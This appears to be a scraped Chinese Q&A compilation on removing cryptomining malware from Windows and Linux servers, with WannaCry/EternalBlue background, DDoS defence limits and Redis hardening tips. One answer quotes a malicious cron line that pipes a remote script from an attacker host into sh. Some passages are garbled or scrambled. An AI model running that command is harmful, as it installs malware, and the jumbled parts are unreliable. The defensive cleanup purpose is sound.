虛擬伺服器挖礦病毒

① win2008伺服器中了挖礦病毒，求解答！

不能完全殺干凈的前提下，備份好自己的數據，然後重裝系統，不然這樣耽誤工作真的很麻煩

② 伺服器上如何清除NrsMiner挖礦病毒

挖礦病毒完整清除過程如下，請在斷網情況下進行：

1.停止並禁用Hyper-VAccess Protection Agent Service服務；

2.刪除C:Windowssystem32NrsDataCache.tlb；

3.刪除C:.dll，若刪除失敗，可重命名該文件為其他名稱；

4.重啟計算機；

5.刪除C:Windowssystem32SysprepThemes和C:WindowsSysprepThemes目錄；

6.刪除C:Windowssystem32SecUpdateHost.exe。

7.到微軟官方網站下載對應操作系統補丁，下載鏈接如下：https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010

8.安裝國內主流殺毒軟體，及時更新至最新病毒特徵庫。

③ 如何防範伺服器被攻擊

不管哪種DDoS攻擊，，當前的技術都不足以很好的抵禦。現在流行的DDoS防禦手段——例如黑洞技術和路由器過濾，限速等手段，不僅慢，消耗大，而且同時也阻斷有效業務。如IDS入侵監測可以提供一些檢測性能但不能緩解DDoS攻擊，防火牆提供的保護也受到其技術弱點的限制。其它策略，例如大量部署伺服器，冗餘設備，保證足夠的響應能力來提供攻擊防護，代價過於高昂。

黑洞技術

黑洞技術描述了一個服務提供商將指向某一目標企業的包盡量阻截在上游的過程，將改向的包引進「黑洞」並丟棄，以保全運營商的基礎網路和其它的客戶業務。但是合法數據包和惡意攻擊業務一起被丟棄，所以黑洞技術不能算是一種好的解決方案。被攻擊者失去了所有的業務服務，攻擊者因而獲得勝利。

路由器

許多人運用路由器的過濾功能提供對DDoS攻擊的防禦，但對於現在復雜的DDoS攻擊不能提供完善的防禦。

路由器只能通過過濾非基本的不需要的協議來停止一些簡單的DDoS攻擊，例如ping攻擊。這需要一個手動的反應措施，並且往往是在攻擊致使服務失敗之後。另外，現在的DDoS攻擊使用互聯網必要的有效協議，很難有效的濾除。路由器也能防止無效的或私有的IP地址空間，但DDoS攻擊可以很容易的偽造成有效IP地址。

基於路由器的DDoS預防策略——在出口側使用uRPF來停止IP地址欺騙攻擊——這同樣不能有效防禦現在的DDoS攻擊，因為uRPF的基本原理是如果IP地址不屬於應該來自的子網網路阻斷出口業務。然而，DDoS攻擊能很容易偽造來自同一子網的IP地址，致使這種解決法案無效。

防火牆

首先防火牆的位置處於數據路徑下游遠端，不能為從提供商到企業邊緣路由器的訪問鏈路提供足夠的保護，從而將那些易受攻擊的組件留給了DDoS攻擊。此外，因為防火牆總是串聯的而成為潛在性能瓶頸，因為可以通過消耗它們的會話處理能力來對它們自身進行DDoS攻擊。

其次是反常事件檢測缺乏的限制，防火牆首要任務是要控制私有網路的訪問。一種實現的方法是通過追蹤從內側向外側服務發起的會話，然後只接收「不幹凈」一側期望源頭發來的特定響應。然而，這對於一些開放給公眾來接收請求的服務是不起作用的，比如Web、DNS和其它服務，因為黑客可以使用「被認可的」協議（如HTTP）。

第三種限制，雖然防火牆能檢測反常行為，但幾乎沒有反欺騙能力——其結構仍然是攻擊者達到其目的。當一個DDoS攻擊被檢測到，防火牆能停止與攻擊相聯系的某一特定數據流，但它們無法逐個包檢測，將好的或合法業務從惡意業務中分出，使得它們在事實上對IP地址欺騙攻擊無效。

IDS入侵監測

IDS解決方案將不得不提供領先的行為或基於反常事務的演算法來檢測現在的DDoS攻擊。但是一些基於反常事務的性能要求有專家進行手動的調整，而且經常誤報，並且不能識別特定的攻擊流。同時IDS本身也很容易成為DDoS攻擊的犧牲者。

作為DDoS防禦平台的IDS最大的缺點是它只能檢測到攻擊，但對於緩和攻擊的影響卻毫無作為。IDS解決方案也許能託付給路由器和防火牆的過濾器，但正如前面敘述的，這對於緩解DDoS攻擊效率很低，即便是用類似於靜態過濾串聯部署的IDS也做不到。

DDoS攻擊的手動響應

作為DDoS防禦一部份的手動處理太微小並且太緩慢。受害者對DDoS攻擊的典型第一反應是詢問最近的上游連接提供者——ISP、宿主提供商或骨幹網承載商——嘗試識別該消息來源。對於地址欺騙的情況，嘗試識別消息來源是一個長期和冗長的過程，需要許多提供商合作和追蹤的過程。即使來源可被識別，但阻斷它也意味同時阻斷所有業務——好的和壞的。

④ 比特幣病毒到底是什麼

昨天抽風去了電子閱覽室，剛插上U盤沒多久，老師就突然大聲說讓大家把U盤拔下來，有學生發現U盤里的文件全部都打不開了，還多了兩個要錢的文件。

於是大家都匆忙查看，只要U盤在學校電腦上插過的都中毒了，晚上出現大規模電腦中毒情況。

很多人的資料、畢業論文都在電腦中，真的覺得黑客這種行為太惡心了，為了錢，不管不顧學生的前途，老師畢生的科研成果……

希望盡早抓到犯罪分子，給予法律的嚴懲！

這個病毒會掃描開放 445 文件共享埠的 Windows 設備，只要用戶的設備處於開機上網狀態，黑客就能在電腦和伺服器中植入勒索軟體、遠程式控制制木馬、虛擬貨幣挖礦機等惡意程序。

一些安全研究人員指出，這次大規模的網路襲擊似乎是通過一個蠕蟲病毒應用部署的，WannaCry 可以在計算機之間傳播。更為可怕的是，與大部分惡意程序不同，這個程序可以自行在網路中進行復制傳播，而當前的大多數病毒還需要依靠中招的用戶來傳播，方法則是通過欺騙他們點擊附有攻擊代碼的附件。

這次襲擊已經使得 99 個國家和多達 75,000 台電腦受到影響，但由於這種病毒使用匿名網路和比特幣匿名交易獲取贖金，想要追蹤和定位病毒的始作俑者相當困難。

⑤ 如何看待本次NSA黑客武器庫泄漏的「永恆之藍」發起的病毒攻擊事件

備份完後離線保存該磁碟，不法分子就能在電腦和伺服器中植入勒索，可以避免遭到勒索等病毒的侵害。

1、虛擬貨幣挖礦機等惡意程序。

2，這是不法分子利用NSA黑客武器庫泄漏的「永恆之藍」發起的病毒攻擊事件，關閉網路共享、盡快（今後定期）備份自己電腦中的重要文件資料到移動硬碟、135最近的黑客網路攻擊攻擊病毒、強化網路安全意識，不明文件不要、139埠。

3、2003等微軟已不再提供安全更新的機器，可使用360「NSA武器庫免疫工具」檢測系統是否存在漏洞，請盡快安裝此安全補丁，根據網路安全通報，只要開機上網，並關閉受到漏洞影響的埠，微軟已發布補丁MS17-010修復了「永恆之藍」攻擊的系統漏洞，無需用戶任何操作、為計算機安裝最新的安全補丁、遠程式控制制木馬。「永恆之藍」會掃描開放445文件共享埠的Windows機器，不明不要打開……

4、關閉445、138、U盤、137：不明鏈接不要點擊；對於windows
XP

⑥ 伺服器被rshim挖礦病毒攻擊後 HugePages_Total 透明大頁怎麼都清不掉 一直佔用內存 球球

問題定位及解決步驟：

1、free -m 查看內存使用狀態 ，發現free基本沒了。--> 懷疑是服務有內存泄漏，開始排查

2、使用top命令觀察，開啟的服務佔用內存量並不大，且最終文檔在一個值，且服務為java應用，內存並沒達到父jvm設置上限。按top監控佔用內存排序，加起來也不會超過物理內存總量。查看硬碟使用量，佔用20%。基本排除虛擬內存佔用過大的原因。--->排除服務內存泄漏因素，懷疑mysql和nginx，開始排查

3、因為top命令看 mysql佔用內存也再可控范圍，是否存在connection佔用過多內存，發現並不會，設置最大連接數為1000，最多也不會超過幾M。 nginx佔用一直非常小。但每次最先被kill的基本都是nginx進程。所以排查，但發現無非就是openfiles數量啥的調整。發現也一切正常。且之前niginx可以正常使用的。

4、最為費解的就是 通過free -m 查看的時候 基本全是used，cache部分很少，free基本沒有。但top上又找不到有哪些進程佔用了內存。無解

5、注意到有兩個進程雖佔用內存不多，但基本耗光了100%的cpu。開始想著佔cpu就佔了，沒占內存，現在是內存不不夠導致進程被kill的，就沒注意這點。

6、實在搞不定，重啟伺服器，重啟了所有服務，服務暫時可用，回家。在路上的時候發現又崩了。忐忑的睡覺。

7、早上起來繼續看，這次留意注意了下那兩個佔用高cpu的進程，kdevtmpfsi 和 networkservice。本著看看是啥進程的心態，網路了下。真相一目瞭然，兩個挖礦病毒。

突然後知後覺的意識到錯誤原因：

1、cpu佔用率高，正常服務使用cpu頻率較高的服務最容易最內存超標。（因為在需要使用cpu時沒cpu資源，內存大量佔用，服務瞬間崩潰），然後看top發現剛剛已經佔用內存的進程已經被kill了，所以沒發現內存有高佔用的情況。
2、後面的應用繼續使用cpu時也會發生類似情況，倒是服務一個一個逐漸被kill。

問題點基本定位好了，解決問題就相對簡單很多：
通過網路，google，常見的病毒清除步驟基本都能解決。這兩個挖礦病毒很常見，大致記錄下要點。可能所有病毒都會有這些基礎操作。

① 首先，查看當前系統中的定時任務：crontab -l
我伺服器上有四個定時下載任務 通過wget 和 curl 下載病毒文件，把異常的刪掉。要不然刪了病毒文件還是會下載下來
crontab -r，全部刪除命令（或根據需求刪除定時任務）

② 查找病毒文件 可以全部模糊搜索 清除， 但病毒文件基本都用了chattr +i命令 使用chattr -i filename 後再使用rm -f filename 。可刪除

③ kill 病毒進程，但注意kill了可能馬上就重啟了。因為有守護進程，需要把病毒進程的守護進程也kill掉

④ 檢查是否root用戶被攻擊，可能系統配置信息被更改。

⑤ 最好能理解病毒腳本，通過看代碼看它做了些什麼。針對腳本取修復系統。

⑦ 新型電腦病毒是什麼

永恆之藍病毒是什麼?
據了解，這次事件是不法分子通過改造之前泄露的NSA黑客武器庫中永恆之藍」攻擊程序發起的網路攻擊事件。
這次的永恆之藍」勒索蠕蟲，是NSA網路軍火民用化的全球第一例。一個月前，第四批NSA相關網路攻擊工具及文檔被Shadow Brokers組織公布，包含了涉及多個Windows系統服務(SMB、RDP、IIS)的遠程命令執行工具，其中就包括永恆之藍」攻擊程序。
惡意代碼會掃描開放445文件共享埠的Windows機器，無需用戶任何操作，只要開機上網，不法分子就能在電腦和伺服器中植入勒索軟體、遠程式控制制木馬、虛擬貨幣挖礦機等惡意程序。
目前，永恆之藍」傳播的勒索病毒以ONION和WNCRY兩個家族為主，受害機器的磁碟文件會被篡改為相應的後綴，圖片、文檔、視頻、壓縮包等各類資料都無法正常打開，只有支付贖金才能解密恢復。這兩類勒索病毒，勒索金額分別是5個比特幣和300美元，摺合人民幣分別為5萬多元和2000多元。
安全專家還發現，ONION勒索病毒還會與挖礦機(運算生成虛擬貨幣)、遠控木馬組團傳播，形成一個集合挖礦、遠控、勒索多種惡意行為的木馬病毒大禮包」，專門選擇高性能伺服器挖礦牟利，對普通電腦則會加密文件敲詐錢財，最大化地壓榨受害機器的經濟價值。
沒有關閉的445埠引狼入室」據360企業安全方面5月13日早晨提供的一份公告顯示，由於以前國內多次爆發利用445埠傳播的蠕蟲，部分運營商在主幹網路上封禁了445埠，但是教育網及大量企業內網並沒有此限制而且並未及時安裝補丁，仍然存在大量暴露445埠且存在漏洞的電腦，導致目前蠕蟲的泛濫。
因此，該安全事件被多家安全機構風險定級為危急」。

⑧ 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白

1. 關閉訪問挖礦伺服器的訪問

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.

2. chmod -x minerd ,取消掉執行許可權， 在沒有找到根源前，千萬不要刪除 minerd，因為刪除了，過一回會自動有生成一個。

3. pkill minerd ,殺掉進程

4. service stop crond 或者 crontab -r 刪除所有的執行計劃

5. 執行top，查看了一會，沒有再發現minerd 進程了。

6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。

下載腳本的語句：

*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下，感興趣的可以研究下：

View Code

解決minerd並不是最終的目的，主要是要查找問題根源，我的伺服器問題出在了redis服務了，黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權，http://blog.jobbole.com/94518/然後就注入了病毒，下面是解決辦法和清除工作：

1. 修復 redis 的後門,

配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」，區分普通用戶和admin許可權，普通用戶將會被禁止運行某些命令，如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號

3. 查看你的用戶列表，是不是有你不認識的用戶添加進來。 如果有就刪除掉.

⑨ tasklsv.exe挖礦病毒如何徹底清除

請勿訪問陌生網站，在陌生網站瀏覽、下載很可能導致中毒。

1. 若電腦中存在木馬或者病毒程序，安裝一款安全軟體（例如：電腦管家等）。使用安全軟體進行掃描全盤即可發現病毒並刪除。若無法處理或者出現錯誤請嘗試備份重要資料後重新安裝系統。

2. 若手機中存在木馬或者病毒程序，安裝一款安全軟體（例如：手機管家等）。以手機管家為例，打開手機管家，點擊主界面上的一鍵體檢即可自動檢測手機中存在的病毒，點擊一鍵清除即可刪除。

⑩ 阿里雲windows伺服器中了挖礦的病毒怎麼清理

光刪除沒用的，因為沒有解決好漏洞。
建議是重做系統，然後找護衛神給你做一下系統安全加固，把漏洞徹底堵住才有效果。